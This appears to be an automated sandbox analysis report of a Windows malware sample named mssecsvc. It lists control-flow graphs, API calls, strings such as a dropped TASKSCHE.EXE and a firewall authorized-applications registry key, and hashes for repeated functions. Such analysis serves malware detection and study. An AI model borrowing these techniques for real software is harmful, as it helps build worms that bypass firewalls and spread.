                    control_flow_graph 402 7fea3c3d-7fea3c59 403 7fea3c5b-7fea3c63 402->403 404 7fea3ca9-7fea3cb3 call 7fea252f 402->404 406 7fea3c64-7fea3c67 403->406 412 7fea3cfb-7fea3d43 GetSystemDirectoryA call 7fea3d1f 404->412 413 7fea3cb5-7fea3cce call 7fea3cc2 404->413 407 7fea3c69-7fea3c6e 406->407 408 7fea3c93 406->408 407->408 410 7fea3c70-7fea3c91 407->410 408->406 411 7fea3c95-7fea3d43 GetWindowsDirectoryA call 7fea3d36 408->411 410->408 423 7fea3d45-7fea3d72 GetProcAddress LoadLibraryA 411->423 412->423 421 7fea3cd4-7fea3cdc GetProcAddress 413->421 422 7fea3ccf call 7fea26d4 413->422 424 7fea3cde 421->424 425 7fea3ce0-7fea3d43 call 7fea3cf0 421->425 422->421 426 7fea3d7d-7fea3dc0 call 7fea01cb GetTickCount call 7fea3b76 423->426 427 7fea3d78 call 7fea10ce 423->427 424->425 425->423 434 7fea3dc8-7fea3dcd call 7fea3b76 426->434 435 7fea3dc2 426->435 427->426 438 7fea3dcf-7fea3de6 434->438 435->434 439 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 438->439 444 7fea3dfa-7fea3dfc 439->444 445 7fea3dfe-7fea3e1a call 7fea63a0 439->445 446 7fea3e1b-7fea3e1c 444->446 445->446 446->439 449 7fea3e1e-7fea3e24 446->449 449->438 450 7fea3e26-7fea3e30 call 7fea273c 449->450 453 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 450->453 454 7fea3e32-7fea3e3a call 7fea2750 450->454 458 7fea3e7a-7fea3e80 453->458 459 7fea3e82-7fea3e88 453->459 454->453 460 7fea3e91-7fea3e9e 458->460 459->460 461 7fea3e8a 459->461 462 7fea3ea4-7fea3ec8 call 7fea3eb5 460->462 463 7fea3f25 460->463 461->460 464 7fea3f2f 462->464 471 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 462->471 463->464 466 7fea3f4f-7fea3f73 call 7fea3f60 464->466 467 7fea3f31-7fea3f49 CreateThread CloseHandle 464->467 473 7fea3f7e-7fea3fad call 7fea3f8f 466->473 474 7fea3f79 call 7fea10ce 466->474 467->466 471->463 477 7fea3f20 call 7fea3405 471->477 480 7fea3faf-7fea3fd1 473->480 481 7fea3fd6-7fea3ff8 CreateThread CloseHandle 473->481 474->473 477->463 482 7fea3ffa-7fea400b CreateEventA 480->482 483 7fea3fd3 480->483 481->482 484 7fea4012-7fea402a call 7fea37fa 482->484 483->481 487 7fea402c-7fea402f 484->487 488 7fea4031-7fea4044 call 7fea3b90 484->488 487->488 489 7fea404c-7fea4054 487->489 496 7fea404a 488->496 497 7fea42be-7fea42c5 488->497 491 7fea4056-7fea4063 lstrlen 489->491 492 7fea4065-7fea406e gethostbyname 489->492 491->491 491->492 494 7fea4074-7fea407b 492->494 495 7fea4315-7fea431b 492->495 498 7fea4081-7fea40a0 socket 494->498 495->484 496->498 499 7fea4320-7fea4322 RtlExitUserThread 497->499 500 7fea42c7-7fea42ce 497->500 498->497 501 7fea40a6-7fea40b9 connect 498->501 502 7fea42e2-7fea42e9 500->502 503 7fea42d0-7fea42dc SetEvent 500->503 506 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 501->506 507 7fea42b7-7fea42b8 closesocket 501->507 504 7fea42eb 502->504 505 7fea42f2-7fea4310 Sleep ResetEvent 502->505 503->502 504->505 505->484 518 7fea4170 506->518 519 7fea4195-7fea41a5 call 7fea3358 506->519 507->497 520 7fea4192-7fea4194 518->520 521 7fea4172-7fea418c wsprintfA 518->521 525 7fea41c3-7fea41ca 519->525 526 7fea41a7-7fea41bd CreateThread CloseHandle 519->526 520->519 521->520 523 7fea418e 521->523 523->520 527 7fea41d0-7fea41eb 525->527 526->525 529 7fea41ed-7fea41f4 527->529 530 7fea4210-7fea4214 527->530 529->530 532 7fea41f6-7fea4207 GetTickCount 529->532 530->507 531 7fea421a-7fea421c 530->531 533 7fea421e-7fea4236 531->533 532->530 534 7fea4209 532->534 535 7fea423b-7fea4243 533->535 536 7fea4238 533->536 534->530 535->533 537 7fea4245 535->537 536->535 538 7fea424b-7fea424f 537->538 539 7fea4261-7fea4263 538->539 540 7fea4251-7fea4258 call 7fea2f08 538->540 541 7fea4265-7fea426f 539->541 540->507 546 7fea425a 540->546 543 7fea4274-7fea4282 call 7fea6541 call 7fea655b 541->543 543->527 551 7fea4288-7fea4292 Sleep 543->551 546->541 548 7fea425c-7fea425f 546->548 548->538 551->543 552 7fea4294-7fea42a5 GetTickCount 551->552 552->527 553 7fea42ab-7fea42b2 552->553 553->507 553->527
                    APIs
                    • GetWindowsDirectoryA.KERNEL32(7FEA6AA2,00000104), ref: 7FEA3CA1
                    • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3CD4
                    • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                    • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                    • GetTickCount.KERNEL32 ref: 7FEA3D93
                    • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                    • GetModuleFileNameA.KERNEL32(00000000,7FEA6AA2,000000C8), ref: 7FEA3EE2
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                    • ADVAPI32.DLL, xrefs: 7FEA3D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 1749273276-3169549896
                    • Opcode ID: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                    • Instruction ID: 6856dd48e4ced1a9f2286be03aa6e2628cc93b41bccce76cbf3563a38adebb89
                    • Opcode Fuzzy Hash: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                    • Instruction Fuzzy Hash: 10020571419348BFEB229F748C4ABEA7BACEF41304F004559EC4A9E081D7F66F4597A2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23C3D Relevance: 42.5, APIs: 21, Strings: 3, Instructions: 487libraryloaderCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 251 c23c3d-c23c59 252 c23c5b-c23c63 251->252 253 c23ca9-c23cb3 call c2252f 251->253 254 c23c64-c23c67 252->254 261 c23cb5-c23cce call c23cc2 253->261 262 c23cfb-c23d43 GetSystemDirectoryA call c23d1f 253->262 256 c23c93 254->256 257 c23c69-c23c6e 254->257 256->254 260 c23c95-c23d43 GetWindowsDirectoryA call c23d36 256->260 257->256 259 c23c70-c23c91 257->259 259->256 270 c23d45-c23dc0 GetProcAddress LoadLibraryA call c210ce call c201cb GetTickCount call c23b76 260->270 271 c23cd4-c23cdc GetProcAddress 261->271 272 c23ccf call c226d4 261->272 262->270 283 c23dc2 270->283 284 c23dc8-c23dcd call c23b76 270->284 273 c23ce0-c23d43 call c23cf0 271->273 274 c23cde 271->274 272->271 273->270 274->273 283->284 287 c23dcf-c23de6 284->287 288 c23de8-c23df8 call c263a0 call c2273c 287->288 293 c23dfa-c23dfc 288->293 294 c23dfe-c23e1a call c263a0 288->294 296 c23e1b-c23e1c 293->296 294->296 296->288 298 c23e1e-c23e24 296->298 298->287 299 c23e26-c23e30 call c2273c 298->299 302 c23e32-c23e3a call c22750 299->302 303 c23e3f-c23e78 call c2273c GetVolumeInformationA 299->303 302->303 307 c23e82-c23e88 303->307 308 c23e7a-c23e80 303->308 309 c23e91-c23e9e 307->309 310 c23e8a 307->310 308->309 311 c23ea4-c23ec8 call c23eb5 309->311 312 c23f25 309->312 310->309 313 c23f2f 311->313 321 c23eca-c23f1e GetModuleFileNameA wsprintfA 311->321 312->313 315 c23f31-c23f49 CreateThread CloseHandle 313->315 316 c23f4f-c23fd1 call c23f60 call c210ce call c23f8f 313->316 315->316 330 c23fd3-c23ff8 CreateThread CloseHandle 316->330 331 c23ffa-c2400b CreateEventA 316->331 321->312 326 c23f20 call c23405 321->326 326->312 330->331 332 c24012-c2402a call c237fa 331->332 335 c24031-c24044 call c23b90 332->335 336 c2402c-c2402f 332->336 342 c2404a 335->342 343 c242be-c242c5 335->343 336->335 337 c2404c-c24054 336->337 339 c24056-c24063 lstrlen 337->339 340 c24065-c2406e gethostbyname 337->340 339->339 339->340 344 c24074-c2407b 340->344 345 c24315-c2431b 340->345 346 c24081-c240a0 socket 342->346 347 c24320-c24322 RtlExitUserThread 343->347 348 c242c7-c242ce 343->348 344->346 345->332 346->343 349 c240a6-c240b9 connect 346->349 350 c242e2-c242e9 348->350 351 c242d0-c242dc SetEvent 348->351 352 c242b7-c242b8 closesocket 349->352 353 c240bf-c2416e call c2273c call c22750 GetVersionExA call c22750 call c23358 call c24178 349->353 354 c242f2-c24310 Sleep ResetEvent 350->354 355 c242eb 350->355 351->350 352->343 366 c24170 353->366 367 c24195-c241a5 call c23358 353->367 354->332 355->354 368 c24192-c24194 366->368 369 c24172-c2418c wsprintfA 366->369 373 c241c3-c241ca 367->373 374 c241a7-c241bd CreateThread CloseHandle 367->374 368->367 369->368 371 c2418e 369->371 371->368 375 c241d0-c241eb 373->375 374->373 377 c24210-c24214 375->377 378 c241ed-c241f4 375->378 377->352 379 c2421a-c2421c 377->379 378->377 380 c241f6-c24207 GetTickCount 378->380 381 c2421e-c24236 379->381 380->377 382 c24209 380->382 383 c2423b-c24243 381->383 384 c24238 381->384 382->377 383->381 385 c24245 383->385 384->383 386 c2424b-c2424f 385->386 387 c24261-c24263 386->387 388 c24251-c24258 call c22f08 386->388 390 c24265-c2426f 387->390 388->352 394 c2425a 388->394 391 c24274-c24282 call c26541 call c2655b 390->391 391->375 399 c24288-c24292 Sleep 391->399 394->390 396 c2425c-c2425f 394->396 396->386 399->391 400 c24294-c242a5 GetTickCount 399->400 400->375 401 c242ab-c242b2 400->401 401->352 401->375
                    APIs
                    • GetWindowsDirectoryA.KERNEL32(00C26AA2,00000104), ref: 00C23CA1
                    • GetProcAddress.KERNEL32(00000000,00000002), ref: 00C23CD4
                    • GetProcAddress.KERNEL32(00000000,00C23D41), ref: 00C23D4C
                    • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C23D5F
                    • GetTickCount.KERNEL32 ref: 00C23D93
                    • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C26EF6,00000000,00000000,00000000,00000000), ref: 00C23E65
                    • GetModuleFileNameA.KERNEL32(00000000,00C26AA2,000000C8), ref: 00C23EE2
                    Strings
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C23F0C
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    • ADVAPI32.DLL, xrefs: 00C23D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 1749273276-3169549896
                    • Opcode ID: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                    • Instruction ID: 9edb63a72d43e16b7264066ea92495400d1505df609f749850ab238464a6c5ac
                    • Opcode Fuzzy Hash: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                    • Instruction Fuzzy Hash: 210214714182A8BFEB259F24EC0ABEA7BACEF41300F004559EC599F482D7F45F4587A6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3CC2 Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 432libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(7FEA3CBA), ref: 7FEA3CC2
                    • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3CD4
                    • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                    • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                    • GetTickCount.KERNEL32 ref: 7FEA3D93
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                    • ADVAPI32.DLL, xrefs: 7FEA3D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 2837544101-3169549896
                    • Opcode ID: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                    • Instruction ID: b4b3212d39e947ac5d9392814a2c7224f35c85923ea667b823aff5088932c5b3
                    • Opcode Fuzzy Hash: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                    • Instruction Fuzzy Hash: 45E11371519348BFEB229F708C4ABFA7BACEF41304F004559EC4A9E081D6F66F059762
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23CC2 Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 432libraryloaderCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 554 c23cc2-c23cca GetModuleHandleA 555 c23ce0-c23dc0 call c23cf0 GetProcAddress LoadLibraryA call c210ce call c201cb GetTickCount call c23b76 554->555 556 c23ccc-c23cdc call c226d4 GetProcAddress 554->556 569 c23dc2 555->569 570 c23dc8-c23dcd call c23b76 555->570 556->555 561 c23cde 556->561 561->555 569->570 573 c23dcf-c23de6 570->573 574 c23de8-c23df8 call c263a0 call c2273c 573->574 579 c23dfa-c23dfc 574->579 580 c23dfe-c23e1a call c263a0 574->580 582 c23e1b-c23e1c 579->582 580->582 582->574 584 c23e1e-c23e24 582->584 584->573 585 c23e26-c23e30 call c2273c 584->585 588 c23e32-c23e3a call c22750 585->588 589 c23e3f-c23e78 call c2273c GetVolumeInformationA 585->589 588->589 593 c23e82-c23e88 589->593 594 c23e7a-c23e80 589->594 595 c23e91-c23e9e 593->595 596 c23e8a 593->596 594->595 597 c23ea4-c23ec8 call c23eb5 595->597 598 c23f25 595->598 596->595 599 c23f2f 597->599 607 c23eca-c23f1e GetModuleFileNameA wsprintfA 597->607 598->599 601 c23f31-c23f49 CreateThread CloseHandle 599->601 602 c23f4f-c23fd1 call c23f60 call c210ce call c23f8f 599->602 601->602 616 c23fd3-c23ff8 CreateThread CloseHandle 602->616 617 c23ffa-c2400b CreateEventA 602->617 607->598 612 c23f20 call c23405 607->612 612->598 616->617 618 c24012-c2402a call c237fa 617->618 621 c24031-c24044 call c23b90 618->621 622 c2402c-c2402f 618->622 628 c2404a 621->628 629 c242be-c242c5 621->629 622->621 623 c2404c-c24054 622->623 625 c24056-c24063 lstrlen 623->625 626 c24065-c2406e gethostbyname 623->626 625->625 625->626 630 c24074-c2407b 626->630 631 c24315-c2431b 626->631 632 c24081-c240a0 socket 628->632 633 c24320-c24322 RtlExitUserThread 629->633 634 c242c7-c242ce 629->634 630->632 631->618 632->629 635 c240a6-c240b9 connect 632->635 636 c242e2-c242e9 634->636 637 c242d0-c242dc SetEvent 634->637 638 c242b7-c242b8 closesocket 635->638 639 c240bf-c2416e call c2273c call c22750 GetVersionExA call c22750 call c23358 call c24178 635->639 640 c242f2-c24310 Sleep ResetEvent 636->640 641 c242eb 636->641 637->636 638->629 652 c24170 639->652 653 c24195-c241a5 call c23358 639->653 640->618 641->640 654 c24192-c24194 652->654 655 c24172-c2418c wsprintfA 652->655 659 c241c3-c241ca 653->659 660 c241a7-c241bd CreateThread CloseHandle 653->660 654->653 655->654 657 c2418e 655->657 657->654 661 c241d0-c241eb 659->661 660->659 663 c24210-c24214 661->663 664 c241ed-c241f4 661->664 663->638 665 c2421a-c2421c 663->665 664->663 666 c241f6-c24207 GetTickCount 664->666 667 c2421e-c24236 665->667 666->663 668 c24209 666->668 669 c2423b-c24243 667->669 670 c24238 667->670 668->663 669->667 671 c24245 669->671 670->669 672 c2424b-c2424f 671->672 673 c24261-c24263 672->673 674 c24251-c24258 call c22f08 672->674 676 c24265-c2426f 673->676 674->638 680 c2425a 674->680 677 c24274-c24282 call c26541 call c2655b 676->677 677->661 685 c24288-c24292 Sleep 677->685 680->676 682 c2425c-c2425f 680->682 682->672 685->677 686 c24294-c242a5 GetTickCount 685->686 686->661 687 c242ab-c242b2 686->687 687->638 687->661
                    APIs
                    • GetModuleHandleA.KERNEL32(00C23CBA), ref: 00C23CC2
                    • GetProcAddress.KERNEL32(00000000,00000002), ref: 00C23CD4
                    • GetProcAddress.KERNEL32(00000000,00C23D41), ref: 00C23D4C
                    • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C23D5F
                    • GetTickCount.KERNEL32 ref: 00C23D93
                    Strings
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C23F0C
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    • ADVAPI32.DLL, xrefs: 00C23D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 2837544101-3169549896
                    • Opcode ID: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                    • Instruction ID: b42dc39b88d30b458125f2e0422344821abdeb754462bace1f2103aadf408d39
                    • Opcode Fuzzy Hash: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                    • Instruction Fuzzy Hash: B4E123714182A8BFEB25AF64EC0ABEA7BACEF41300F000559EC599E482D6F45F45C7A5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3CF0 Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 409COMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(7FEA3CE5), ref: 7FEA3CF0
                    • GetSystemDirectoryA.KERNEL32(7FEA6AA2,00000104), ref: 7FEA3D07
                      • Part of subcall function 7FEA3D1F: lstrcat.KERNEL32(7FEA6AA2,7FEA3D12), ref: 7FEA3D20
                      • Part of subcall function 7FEA3D1F: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                      • Part of subcall function 7FEA3D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                      • Part of subcall function 7FEA3D1F: GetTickCount.KERNEL32 ref: 7FEA3D93
                      • Part of subcall function 7FEA3D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                    • ADVAPI32.DLL, xrefs: 7FEA3D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 215653160-3169549896
                    • Opcode ID: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                    • Instruction ID: 7541589ca8aef85322091197c42534de99d7bca435932005a89768fd23254656
                    • Opcode Fuzzy Hash: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                    • Instruction Fuzzy Hash: 4CE1F171409348BFEB229F708C4ABFA7BACEF42304F004559EC4A9E091D6F66F0597A1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23CF0 Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 409COMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(00C23CE5), ref: 00C23CF0
                    • GetSystemDirectoryA.KERNEL32(00C26AA2,00000104), ref: 00C23D07
                      • Part of subcall function 00C23D1F: lstrcat.KERNEL32(00C26AA2,00C23D12), ref: 00C23D20
                      • Part of subcall function 00C23D1F: GetProcAddress.KERNEL32(00000000,00C23D41), ref: 00C23D4C
                      • Part of subcall function 00C23D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C23D5F
                      • Part of subcall function 00C23D1F: GetTickCount.KERNEL32 ref: 00C23D93
                      • Part of subcall function 00C23D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C26EF6,00000000,00000000,00000000,00000000), ref: 00C23E65
                    Strings
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C23F0C
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    • ADVAPI32.DLL, xrefs: 00C23D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 215653160-3169549896
                    • Opcode ID: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                    • Instruction ID: d39ea36601cc11397392c30b04f51da7ae4646cec87e3817902b0e82403a98a4
                    • Opcode Fuzzy Hash: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                    • Instruction Fuzzy Hash: A7E102714082A8BFEB259F64EC0ABEE7BACEF41300F000549ED599E882D6F45F459B65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3D1F Relevance: 38.9, APIs: 19, Strings: 3, Instructions: 389stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrcat.KERNEL32(7FEA6AA2,7FEA3D12), ref: 7FEA3D20
                      • Part of subcall function 7FEA3D36: LoadLibraryA.KERNEL32(7FEA3D2B), ref: 7FEA3D36
                      • Part of subcall function 7FEA3D36: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                      • Part of subcall function 7FEA3D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                      • Part of subcall function 7FEA3D36: GetTickCount.KERNEL32 ref: 7FEA3D93
                      • Part of subcall function 7FEA3D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                    • ADVAPI32.DLL, xrefs: 7FEA3D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 2038497427-3169549896
                    • Opcode ID: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                    • Instruction ID: aa1c8551e8f76fbb525208f0bea2f920101e632125f5267fb1ed65396364aa08
                    • Opcode Fuzzy Hash: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                    • Instruction Fuzzy Hash: A2E1F071419348BFEB229F748C4ABFA7BACEF42304F004559E84A9E081DAF66F059765
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23D1F Relevance: 38.9, APIs: 19, Strings: 3, Instructions: 389stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrcat.KERNEL32(00C26AA2,00C23D12), ref: 00C23D20
                      • Part of subcall function 00C23D36: LoadLibraryA.KERNEL32(00C23D2B), ref: 00C23D36
                      • Part of subcall function 00C23D36: GetProcAddress.KERNEL32(00000000,00C23D41), ref: 00C23D4C
                      • Part of subcall function 00C23D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C23D5F
                      • Part of subcall function 00C23D36: GetTickCount.KERNEL32 ref: 00C23D93
                      • Part of subcall function 00C23D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C26EF6,00000000,00000000,00000000,00000000), ref: 00C23E65
                    Strings
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C23F0C
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    • ADVAPI32.DLL, xrefs: 00C23D5E
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                    • String ID: ADVAPI32.DLL$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 2038497427-3169549896
                    • Opcode ID: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                    • Instruction ID: b4d8190dde1b69eb46a7817a1df54613ea69191b62ecbf43c9920a91448ad136
                    • Opcode Fuzzy Hash: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                    • Instruction Fuzzy Hash: 83E102714083A8BFEB25AF64EC0ABEA7BACEF41300F000549EC599E482D6F85F45C765
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3D36 Relevance: 38.9, APIs: 19, Strings: 3, Instructions: 379libraryCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(7FEA3D2B), ref: 7FEA3D36
                      • Part of subcall function 7FEA3D4B: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                      • Part of subcall function 7FEA3D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                      • Part of subcall function 7FEA3D4B: GetTickCount.KERNEL32 ref: 7FEA3D93
                      • Part of subcall function 7FEA3D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
